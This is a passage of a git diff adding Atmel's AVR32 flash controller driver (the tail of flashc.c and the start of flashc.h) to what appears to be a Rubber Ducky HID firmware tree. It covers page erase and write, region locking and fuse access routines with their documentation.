+void flashc_lock_page_region(int page_number, Bool lock) +{ + flashc_issue_command((lock) ? AVR32_FLASHC_FCMD_CMD_LP : AVR32_FLASHC_FCMD_CMD_UP, page_number); +} + + +void flashc_lock_region(unsigned int region, Bool lock) +{ + flashc_lock_page_region(flashc_get_region_first_page_number(region), lock); +} + + +void flashc_lock_all_regions(Bool lock) +{ + unsigned int error_status = 0; + unsigned int region = AVR32_FLASHC_REGIONS; + while (region) + { + flashc_lock_region(--region, lock); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +//! @} + + +/*! \name Access to General-Purpose Fuses + */ +//! @{ + + +Bool flashc_read_gp_fuse_bit(unsigned int gp_fuse_bit) +{ + return ((flashc_read_all_gp_fuses() & 1ULL << (gp_fuse_bit & 0x3F)) != 0); +} + + +U64 flashc_read_gp_fuse_bitfield(unsigned int pos, unsigned int width) +{ + return flashc_read_all_gp_fuses() >> (pos & 0x3F) & ((1ULL << min(width, 64)) - 1); +} + + +U8 flashc_read_gp_fuse_byte(unsigned int gp_fuse_byte) +{ + return flashc_read_all_gp_fuses() >> ((gp_fuse_byte & 0x07) << 3); +} + + +U64 flashc_read_all_gp_fuses(void) +{ + return AVR32_FLASHC.fgpfrlo | (U64)AVR32_FLASHC.fgpfrhi << 32; +} + + +Bool flashc_erase_gp_fuse_bit(unsigned int gp_fuse_bit, Bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EGPB, gp_fuse_bit & 0x3F); + return (check) ? flashc_read_gp_fuse_bit(gp_fuse_bit) : true; +} + + +Bool flashc_erase_gp_fuse_bitfield(unsigned int pos, unsigned int width, Bool check) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + pos &= 0x3F; + width = min(width, 64); + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++) + { + flashc_erase_gp_fuse_bit(gp_fuse_bit, false); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; + return (check) ? (flashc_read_gp_fuse_bitfield(pos, width) == (1ULL << width) - 1) : true; +} + + +Bool flashc_erase_gp_fuse_byte(unsigned int gp_fuse_byte, Bool check) +{ + unsigned int error_status; + unsigned int current_gp_fuse_byte; + U64 value = flashc_read_all_gp_fuses(); + flashc_erase_all_gp_fuses(false); + error_status = flashc_error_status; + for (current_gp_fuse_byte = 0; current_gp_fuse_byte < 8; current_gp_fuse_byte++, value >>= 8) + { + if (current_gp_fuse_byte != gp_fuse_byte) + { + flashc_write_gp_fuse_byte(current_gp_fuse_byte, value); + error_status |= flashc_error_status; + } + } + flashc_error_status = error_status; + return (check) ? (flashc_read_gp_fuse_byte(gp_fuse_byte) == 0xFF) : true; +} + + +Bool flashc_erase_all_gp_fuses(Bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EAGPF, -1); + return (check) ? (flashc_read_all_gp_fuses() == 0xFFFFFFFFFFFFFFFFULL) : true; +} + + +void flashc_write_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value) +{ + if (!value) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WGPB, gp_fuse_bit & 0x3F); +} + + +void flashc_write_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + pos &= 0x3F; + width = min(width, 64); + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++, value >>= 1) + { + flashc_write_gp_fuse_bit(gp_fuse_bit, value & 0x01); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +void flashc_write_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_PGPFB, (gp_fuse_byte & 0x07) | value << 3); +} + + +void flashc_write_all_gp_fuses(U64 value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_byte; + for (gp_fuse_byte = 0; gp_fuse_byte < 8; gp_fuse_byte++, value >>= 8) + { + flashc_write_gp_fuse_byte(gp_fuse_byte, value); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +void flashc_set_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value) +{ + if (value) + flashc_erase_gp_fuse_bit(gp_fuse_bit, false); + else + flashc_write_gp_fuse_bit(gp_fuse_bit, false); +} + + +void flashc_set_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + pos &= 0x3F; + width = min(width, 64); + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++, value >>= 1) + { + flashc_set_gp_fuse_bit(gp_fuse_bit, value & 0x01); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +void flashc_set_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value) +{ + unsigned int error_status; + switch (value) + { + case 0xFF: + flashc_erase_gp_fuse_byte(gp_fuse_byte, false); + break; + case 0x00: + flashc_write_gp_fuse_byte(gp_fuse_byte, 0x00); + break; + default: + flashc_erase_gp_fuse_byte(gp_fuse_byte, false); + error_status = flashc_error_status; + flashc_write_gp_fuse_byte(gp_fuse_byte, value); + flashc_error_status |= error_status; + } +} + + +void flashc_set_all_gp_fuses(U64 value) +{ + unsigned int error_status; + switch (value) + { + case 0xFFFFFFFFFFFFFFFFULL: + flashc_erase_all_gp_fuses(false); + break; + case 0x0000000000000000ULL: + flashc_write_all_gp_fuses(0x0000000000000000ULL); + break; + default: + flashc_erase_all_gp_fuses(false); + error_status = flashc_error_status; + flashc_write_all_gp_fuses(value); + flashc_error_status |= error_status; + } +} + + +//! @} + + +/*! \name Access to Flash Pages + */ +//! @{ + + +void flashc_clear_page_buffer(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_CPB, -1); +} + + +Bool flashc_is_page_erased(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_QPRR_MASK) != 0); +} + + +Bool flashc_quick_page_read(int page_number) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_QPR, page_number); + return flashc_is_page_erased(); +} + + +Bool flashc_erase_page(int page_number, Bool check) +{ + Bool page_erased = true; + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EP, page_number); + if (check) + { + unsigned int error_status = flashc_error_status; + page_erased = flashc_quick_page_read(-1); + flashc_error_status |= error_status; + } + return page_erased; +} + + +Bool flashc_erase_all_pages(Bool check) +{ + Bool all_pages_erased = true; + unsigned int error_status = 0; + unsigned int page_number = flashc_get_page_count(); + while (page_number) + { + all_pages_erased &= flashc_erase_page(--page_number, check); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; + return all_pages_erased; +} + + +void flashc_write_page(int page_number) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WP, page_number); +} + + +Bool flashc_quick_user_page_read(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_QPRUP, -1); + return flashc_is_page_erased(); +} + + +Bool flashc_erase_user_page(Bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EUP, -1); + return (check) ? flashc_quick_user_page_read() : true; +} + + +void flashc_write_user_page(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WUP, -1); +} + + +volatile void *flashc_memset8(volatile void *dst, U8 src, size_t nbytes, Bool erase) +{ + return flashc_memset16(dst, src | (U16)src << 8, nbytes, erase); +} + + +volatile void *flashc_memset16(volatile void *dst, U16 src, size_t nbytes, Bool erase) +{ + return flashc_memset32(dst, src | (U32)src << 16, nbytes, erase); +} + + +volatile void *flashc_memset32(volatile void *dst, U32 src, size_t nbytes, Bool erase) +{ + return flashc_memset64(dst, src | (U64)src << 32, nbytes, erase); +} + + +volatile void *flashc_memset64(volatile void *dst, U64 src, size_t nbytes, Bool erase) +{ + // Use aggregated pointers to have several alignments available for a same address. + UnionCVPtr flash_array_end; + UnionVPtr dest; + Union64 source = {0}; + StructCVPtr dest_end; + UnionCVPtr flash_page_source_end; + Bool incomplete_flash_page_end; + Union64 flash_dword; + UnionVPtr tmp; + unsigned int error_status = 0; + unsigned int i; + + // Reformat arguments. + flash_array_end.u8ptr = AVR32_FLASH + flashc_get_flash_size(); + dest.u8ptr = dst; + for (i = (Get_align((U32)dest.u8ptr, sizeof(U64)) - 1) & (sizeof(U64) - 1); + src; i = (i - 1) & (sizeof(U64) - 1)) + { + source.u8[i] = src; + src >>= 8; + } + dest_end.u8ptr = dest.u8ptr + nbytes; + + // If destination is outside flash, go to next flash page if any. + if (dest.u8ptr < AVR32_FLASH) + { + dest.u8ptr = AVR32_FLASH; + } + else if (flash_array_end.u8ptr <= dest.u8ptr && dest.u8ptr < AVR32_FLASHC_USER_PAGE) + { + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + + // If end of destination is outside flash, move it to the end of the previous flash page if any. + if (dest_end.u8ptr > AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE) + { + dest_end.u8ptr = AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE; + } + else if (AVR32_FLASHC_USER_PAGE >= dest_end.u8ptr && dest_end.u8ptr > flash_array_end.u8ptr) + { + dest_end.u8ptr = flash_array_end.u8ptr; + } + + // Align each end of destination pointer with its natural boundary. + dest_end.u16ptr = (U16 *)Align_down((U32)dest_end.u8ptr, sizeof(U16)); + dest_end.u32ptr = (U32 *)Align_down((U32)dest_end.u16ptr, sizeof(U32)); + dest_end.u64ptr = (U64 *)Align_down((U32)dest_end.u32ptr, sizeof(U64)); + + // While end of destination is not reached... + while (dest.u8ptr < dest_end.u8ptr) + { + // Clear the page buffer in order to prepare data for a flash page write. + flashc_clear_page_buffer(); + error_status |= flashc_error_status; + + // Determine where the source data will end in the current flash page. + flash_page_source_end.u64ptr = + (U64 *)min((U32)dest_end.u64ptr, + Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) + AVR32_FLASHC_PAGE_SIZE); + + // Determine if the current destination page has an incomplete end. + incomplete_flash_page_end = (Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) >= + Align_down((U32)dest_end.u8ptr, AVR32_FLASHC_PAGE_SIZE)); + + // Use a flash double-word buffer to manage unaligned accesses. + flash_dword.u64 = source.u64; + + // If destination does not point to the beginning of the current flash page... + if (!Test_align((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE)) + { + // Fill the beginning of the page buffer with the current flash page data. + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + for (tmp.u8ptr = (U8 *)Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE); + tmp.u64ptr < (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + + // If destination is not 64-bit aligned... + if (!Test_align((U32)dest.u8ptr, sizeof(U64))) + { + // Fill the beginning of the flash double-word buffer with the current + // flash page data. + // This is required by the hardware, even if page erase is not + // requested, in order to be able to write successfully to erased parts + // of flash pages that have already been written to. + for (i = 0; i < Get_align((U32)dest.u8ptr, sizeof(U64)); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Align the destination pointer with its 64-bit boundary. + dest.u64ptr = (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + + // If the current destination double-word is not the last one... + if (dest.u64ptr < dest_end.u64ptr) + { + // Write the flash double-word buffer to the page buffer and reinitialize it. + *dest.u64ptr++ = flash_dword.u64; + flash_dword.u64 = source.u64; + } + } + } + + // Write the source data to the page buffer with 64-bit alignment. + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + *dest.u64ptr++ = source.u64; + + // If the current destination page has an incomplete end... + if (incomplete_flash_page_end) + { + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + { + tmp.u8ptr = (volatile U8 *)dest_end.u8ptr; + + // If end of destination is not 64-bit aligned... + if (!Test_align((U32)dest_end.u8ptr, sizeof(U64))) + { + // Fill the end of the flash double-word buffer with the current flash page data. + for (i = Get_align((U32)dest_end.u8ptr, sizeof(U64)); i < sizeof(U64); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Write the flash double-word buffer to the page buffer. + *dest.u64ptr++ = flash_dword.u64; + } + + // Fill the end of the page buffer with the current flash page data. + for (; !Test_align((U32)tmp.u64ptr, AVR32_FLASHC_PAGE_SIZE); tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + } + } + + // If the current flash page is in the flash array... + if (dest.u8ptr <= AVR32_FLASHC_USER_PAGE) + { + // Erase the current page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_page(-1, false); + error_status |= flashc_error_status; + } + flashc_write_page(-1); + error_status |= flashc_error_status; + + // If the end of the flash array is reached, go to the User page. + if (dest.u8ptr >= flash_array_end.u8ptr) + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + // If the current flash page is the User page... + else + { + // Erase the User page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_user_page(false); + error_status |= flashc_error_status; + } + flashc_write_user_page(); + error_status |= flashc_error_status; + } + } + + // Update the FLASHC error status. + flashc_error_status = error_status; + + // Return the initial destination pointer as the standard memset function does. + return dst; +} + + +volatile void *flashc_memcpy(volatile void *dst, const void *src, size_t nbytes, Bool erase) +{ + // Use aggregated pointers to have several alignments available for a same address. + UnionCVPtr flash_array_end; + UnionVPtr dest; + UnionCPtr source; + StructCVPtr dest_end; + UnionCVPtr flash_page_source_end; + Bool incomplete_flash_page_end; + Union64 flash_dword; + Bool flash_dword_pending = false; + UnionVPtr tmp; + unsigned int error_status = 0; + unsigned int i, j; + + // Reformat arguments. + flash_array_end.u8ptr = AVR32_FLASH + flashc_get_flash_size(); + dest.u8ptr = dst; + source.u8ptr = src; + dest_end.u8ptr = dest.u8ptr + nbytes; + + // If destination is outside flash, go to next flash page if any. + if (dest.u8ptr < AVR32_FLASH) + { + source.u8ptr += AVR32_FLASH - dest.u8ptr; + dest.u8ptr = AVR32_FLASH; + } + else if (flash_array_end.u8ptr <= dest.u8ptr && dest.u8ptr < AVR32_FLASHC_USER_PAGE) + { + source.u8ptr += AVR32_FLASHC_USER_PAGE - dest.u8ptr; + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + + // If end of destination is outside flash, move it to the end of the previous flash page if any. + if (dest_end.u8ptr > AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE) + { + dest_end.u8ptr = AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE; + } + else if (AVR32_FLASHC_USER_PAGE >= dest_end.u8ptr && dest_end.u8ptr > flash_array_end.u8ptr) + { + dest_end.u8ptr = flash_array_end.u8ptr; + } + + // Align each end of destination pointer with its natural boundary. + dest_end.u16ptr = (U16 *)Align_down((U32)dest_end.u8ptr, sizeof(U16)); + dest_end.u32ptr = (U32 *)Align_down((U32)dest_end.u16ptr, sizeof(U32)); + dest_end.u64ptr = (U64 *)Align_down((U32)dest_end.u32ptr, sizeof(U64)); + + // While end of destination is not reached... + while (dest.u8ptr < dest_end.u8ptr) + { + // Clear the page buffer in order to prepare data for a flash page write. + flashc_clear_page_buffer(); + error_status |= flashc_error_status; + + // Determine where the source data will end in the current flash page. + flash_page_source_end.u64ptr = + (U64 *)min((U32)dest_end.u64ptr, + Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) + AVR32_FLASHC_PAGE_SIZE); + + // Determine if the current destination page has an incomplete end. + incomplete_flash_page_end = (Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) >= + Align_down((U32)dest_end.u8ptr, AVR32_FLASHC_PAGE_SIZE)); + + // If destination does not point to the beginning of the current flash page... + if (!Test_align((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE)) + { + // Fill the beginning of the page buffer with the current flash page data. + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + for (tmp.u8ptr = (U8 *)Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE); + tmp.u64ptr < (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + + // If destination is not 64-bit aligned... + if (!Test_align((U32)dest.u8ptr, sizeof(U64))) + { + // Fill the beginning of the flash double-word buffer with the current + // flash page data. + // This is required by the hardware, even if page erase is not + // requested, in order to be able to write successfully to erased parts + // of flash pages that have already been written to. + for (i = 0; i < Get_align((U32)dest.u8ptr, sizeof(U64)); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Fill the end of the flash double-word buffer with the source data. + for (; i < sizeof(U64); i++) + flash_dword.u8[i] = *source.u8ptr++; + + // Align the destination pointer with its 64-bit boundary. + dest.u64ptr = (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + + // If the current destination double-word is not the last one... + if (dest.u64ptr < dest_end.u64ptr) + { + // Write the flash double-word buffer to the page buffer. + *dest.u64ptr++ = flash_dword.u64; + } + // If the current destination double-word is the last one, the flash + // double-word buffer must be kept for later. + else flash_dword_pending = true; + } + } + + // Read the source data with the maximal possible alignment and write it to + // the page buffer with 64-bit alignment. + switch (Get_align((U32)source.u8ptr, sizeof(U32))) + { + case 0: + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + *dest.u64ptr++ = *source.u64ptr++; + break; + + case sizeof(U16): + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + { + for (j = 0; j < sizeof(U64) / sizeof(U16); j++) flash_dword.u16[j] = *source.u16ptr++; + *dest.u64ptr++ = flash_dword.u64; + } + break; + + default: + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + { + for (j = 0; j < sizeof(U64); j++) flash_dword.u8[j] = *source.u8ptr++; + *dest.u64ptr++ = flash_dword.u64; + } + } + + // If the current destination page has an incomplete end... + if (incomplete_flash_page_end) + { + // If the flash double-word buffer is in use, do not initialize it. + if (flash_dword_pending) i = Get_align((U32)dest_end.u8ptr, sizeof(U64)); + // If the flash double-word buffer is free... + else + { + // Fill the beginning of the flash double-word buffer with the source data. + for (i = 0; i < Get_align((U32)dest_end.u8ptr, sizeof(U64)); i++) + flash_dword.u8[i] = *source.u8ptr++; + } + + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + { + tmp.u8ptr = (volatile U8 *)dest_end.u8ptr; + + // If end of destination is not 64-bit aligned... + if (!Test_align((U32)dest_end.u8ptr, sizeof(U64))) + { + // Fill the end of the flash double-word buffer with the current flash page data. + for (; i < sizeof(U64); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Write the flash double-word buffer to the page buffer. + *dest.u64ptr++ = flash_dword.u64; + } + + // Fill the end of the page buffer with the current flash page data. + for (; !Test_align((U32)tmp.u64ptr, AVR32_FLASHC_PAGE_SIZE); tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + } + } + + // If the current flash page is in the flash array... + if (dest.u8ptr <= AVR32_FLASHC_USER_PAGE) + { + // Erase the current page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_page(-1, false); + error_status |= flashc_error_status; + } + flashc_write_page(-1); + error_status |= flashc_error_status; + + // If the end of the flash array is reached, go to the User page. + if (dest.u8ptr >= flash_array_end.u8ptr) + { + source.u8ptr += AVR32_FLASHC_USER_PAGE - dest.u8ptr; + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + } + // If the current flash page is the User page... + else + { + // Erase the User page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_user_page(false); + error_status |= flashc_error_status; + } + flashc_write_user_page(); + error_status |= flashc_error_status; + } + } + + // Update the FLASHC error status. + flashc_error_status = error_status; + + // Return the initial destination pointer as the standard memcpy function does. + return dst; +} + + +#if UC3C +void flashc_set_flash_waitstate_and_readmode(unsigned long cpu_f_hz) +{ + //! Device-specific data + #undef AVR32_FLASHC_FWS_0_MAX_FREQ + #undef AVR32_FLASHC_FWS_1_MAX_FREQ + #undef AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ + #undef AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ + #define AVR32_FLASHC_FWS_0_MAX_FREQ 33000000 + #define AVR32_FLASHC_FWS_1_MAX_FREQ 66000000 + #define AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ 33000000 + #define AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ 72000000 + // These defines are missing from or wrong in the toolchain header files uc3cxxx.h + // Put a Bugzilla + + if(cpu_f_hz > AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ) // > 33MHz + { + // Set a wait-state + flashc_set_wait_state(1); + if(cpu_f_hz <= AVR32_FLASHC_FWS_1_MAX_FREQ) // <= 66MHz and >33Mhz + { + // Disable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); + } + else // > 66Mhz + { + // Enable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + } + } + else // <= 33 MHz + { + // Disable wait-state + flashc_set_wait_state(0); + + // Disable the high-speed read mode. + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); + + } +} +#endif // UC3C device-specific implementation + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.h new file mode 100755 index 0000000..0622a2d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.h @@ -0,0 +1,1018 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FLASHC driver for AVR32 UC3. + * + * AVR32 Flash Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with a FLASHC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _FLASHC_H_ +#define _FLASHC_H_ + +#include +#include +#include "compiler.h" + +//! Number of flash regions defined by the FLASHC. +#define AVR32_FLASHC_REGIONS (AVR32_FLASHC_FLASH_SIZE /\ + (AVR32_FLASHC_PAGES_PR_REGION * AVR32_FLASHC_PAGE_SIZE)) + + +/*! \name Flash Properties + */ +//! @{ + +/*! \brief Gets the size of the whole flash array. + * + * \return The size of the whole flash array in bytes. + */ +extern unsigned int flashc_get_flash_size(void); + +/*! \brief Gets the total number of pages in the flash array. + * + * \return The total number of pages in the flash array. + */ +extern unsigned int flashc_get_page_count(void); + +/*! \brief Gets the number of pages in each flash region. + * + * \return The number of pages in each flash region. + */ +extern unsigned int flashc_get_page_count_per_region(void); + +/*! \brief Gets the region number of a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return The region number of the specified page. + */ +extern unsigned int flashc_get_page_region(int page_number); + +/*! \brief Gets the number of the first page of a region. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * + * \return The number of the first page of the specified region. + */ +extern unsigned int flashc_get_region_first_page_number(unsigned int region); + +//! @} + + +/*! \name FLASHC Control + */ +//! @{ + +/*! \brief Gets the number of wait states of flash read accesses. + * + * \return The number of wait states of flash read accesses. + */ +extern unsigned int flashc_get_wait_state(void); + +/*! \brief Sets the number of wait states of flash read accesses. + * + * \param wait_state The number of wait states of flash read accesses: \c 0 to + * \c 1. + */ +extern void flashc_set_wait_state(unsigned int wait_state); + +/*! \brief Depending on the CPU frequency, set the wait states of flash read + * accesses. + * + * \param cpu_f_hz The CPU frequency + */ +extern void flashc_set_bus_freq(unsigned int cpu_f_hz); +/*! \brief Alias on the flashc_set_bus_freq() function. + * + * \param cpu_f_hz The CPU frequency + */ +#define flash_set_bus_freq(cpu_f_hz) flashc_set_bus_freq(cpu_f_hz) + +/*! \brief Tells whether the Flash Ready interrupt is enabled. + * + * \return Whether the Flash Ready interrupt is enabled. + */ +extern Bool flashc_is_ready_int_enabled(void); + +/*! \brief Enables or disables the Flash Ready interrupt. + * + * \param enable Whether to enable the Flash Ready interrupt: \c true or + * \c false. + */ +extern void flashc_enable_ready_int(Bool enable); + +/*! \brief Tells whether the Lock Error interrupt is enabled. + * + * \return Whether the Lock Error interrupt is enabled. + */ +extern Bool flashc_is_lock_error_int_enabled(void); + +/*! \brief Enables or disables the Lock Error interrupt. + * + * \param enable Whether to enable the Lock Error interrupt: \c true or + * \c false. + */ +extern void flashc_enable_lock_error_int(Bool enable); + +/*! \brief Tells whether the Programming Error interrupt is enabled. + * + * \return Whether the Programming Error interrupt is enabled. + */ +extern Bool flashc_is_prog_error_int_enabled(void); + +/*! \brief Enables or disables the Programming Error interrupt. + * + * \param enable Whether to enable the Programming Error interrupt: \c true or + * \c false. + */ +extern void flashc_enable_prog_error_int(Bool enable); + +//! @} + + +/*! \name FLASHC Status + */ +//! @{ + +/*! \brief Tells whether the FLASHC is ready to run a new command. + * + * \return Whether the FLASHC is ready to run a new command. + */ +extern Bool flashc_is_ready(void); + +/*! \brief Waits actively until the FLASHC is ready to run a new command. + * + * This is the default function assigned to \ref flashc_wait_until_ready. + */ +extern void flashc_default_wait_until_ready(void); + +//! Pointer to the function used by the driver when it needs to wait until the +//! FLASHC is ready to run a new command. +//! The default function is \ref flashc_default_wait_until_ready. +//! The user may change this pointer to use another implementation. +extern void (*volatile flashc_wait_until_ready)(void); + +/*! \brief Tells whether a Lock Error has occurred during the last function + * called that issued one or more FLASHC commands. + * + * \return Whether a Lock Error has occurred during the last function called + * that issued one or more FLASHC commands. + */ +extern Bool flashc_is_lock_error(void); + +/*! \brief Tells whether a Programming Error has occurred during the last + * function called that issued one or more FLASHC commands. + * + * \return Whether a Programming Error has occurred during the last function + * called that issued one or more FLASHC commands. + */ +extern Bool flashc_is_programming_error(void); + +//! @} + + +/*! \name FLASHC Command Control + */ +//! @{ + +/*! \brief Gets the last issued FLASHC command. + * + * \return The last issued FLASHC command. + */ +extern unsigned int flashc_get_command(void); + +/*! \brief Gets the current FLASHC page number. + * + * \return The current FLASHC page number. + */ +extern unsigned int flashc_get_page_number(void); + +/*! \brief Issues a FLASHC command. + * + * \param command The command: \c AVR32_FLASHC_FCMD_CMD_x. + * \param page_number The page number to apply the command to: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: use this to apply the command to the current page number + * or if the command does not apply to any page number; + * \arg this argument may have other meanings according to the command. See + * the FLASHC chapter of the MCU datasheet. + * + * \warning A Lock Error is issued if the command violates the protection + * mechanism. + * + * \warning A Programming Error is issued if the command is invalid. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_issue_command(unsigned int command, int page_number); + +//! @} + + +/*! \name FLASHC Global Commands + */ +//! @{ + +/*! \brief Issues a No Operation command to the FLASHC. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_no_operation(void); + +/*! \brief Issues an Erase All command to the FLASHC. + * + * This command erases all bits in the flash array, the general-purpose fuse + * bits and the Security bit. The User page is not erased. + * + * This command also ensures that all volatile memories, such as register file + * and RAMs, are erased before the Security bit is erased, i.e. deactivated. + * + * \warning A Lock Error is issued if at least one region is locked or the + * bootloader protection is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern void flashc_erase_all(void); + +//! @} + + +/*! \name FLASHC Protection Mechanisms + */ +//! @{ + +/*! \brief Tells whether the Security bit is active. + * + * \return Whether the Security bit is active. + */ +extern Bool flashc_is_security_bit_active(void); + +/*! \brief Activates the Security bit. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_activate_security_bit(void); + +/*! 